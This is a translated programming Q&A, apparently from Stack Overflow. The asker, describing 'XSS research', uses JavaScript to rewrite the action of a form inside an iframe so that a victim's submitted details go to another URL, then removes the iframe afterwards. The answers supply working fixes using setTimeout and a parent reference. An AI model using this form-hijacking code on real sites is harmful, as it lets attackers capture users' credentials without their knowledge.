如何在 JavaScript 中提交表单后动态关闭 iframe

How to dynamically close an iframe after form submit in JavaScript

本文关键字:动态 iframe 表单 提交 JavaScript      更新时间:2023-09-26

作为我正在做的一些XSS研究的一部分,我正在尝试生成一个具有更改表单操作的iframe,然后在受害者提交其详细信息后关闭iframe。到目前为止,我有以下代码:

<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;  
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">

该代码仍然将表单详细信息发布到 php 页面;但是,它之后无法关闭 iframe。我知道 iframe 删除代码有效,就好像我自己尝试它一样,它可以正常工作。因此,它要么与脚本的逻辑流有关,要么 setAttribute 行无法正常工作。谁能说明我哪里出错了?谢谢!

可能有更好的方法可以做到这一点,但我发现的一个解决方法是通过setTimeout()暂停 deleteIframe 函数。我发现只需 5 毫秒就足以成功发布表单详细信息:)

function deleteIframeTimer(){
var t = setTimeout("deleteIframe()", 5);
}
function deleteIframe() {
var iframe = parent.document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}

非常感谢杰森的parent提示!

这只是一个猜测,没有运行你的代码

form[0].setAttribute("onSubmit", "parent.deleteIframe()");

我的猜测是 iframe 无法直接访问父窗口,因此您需要parent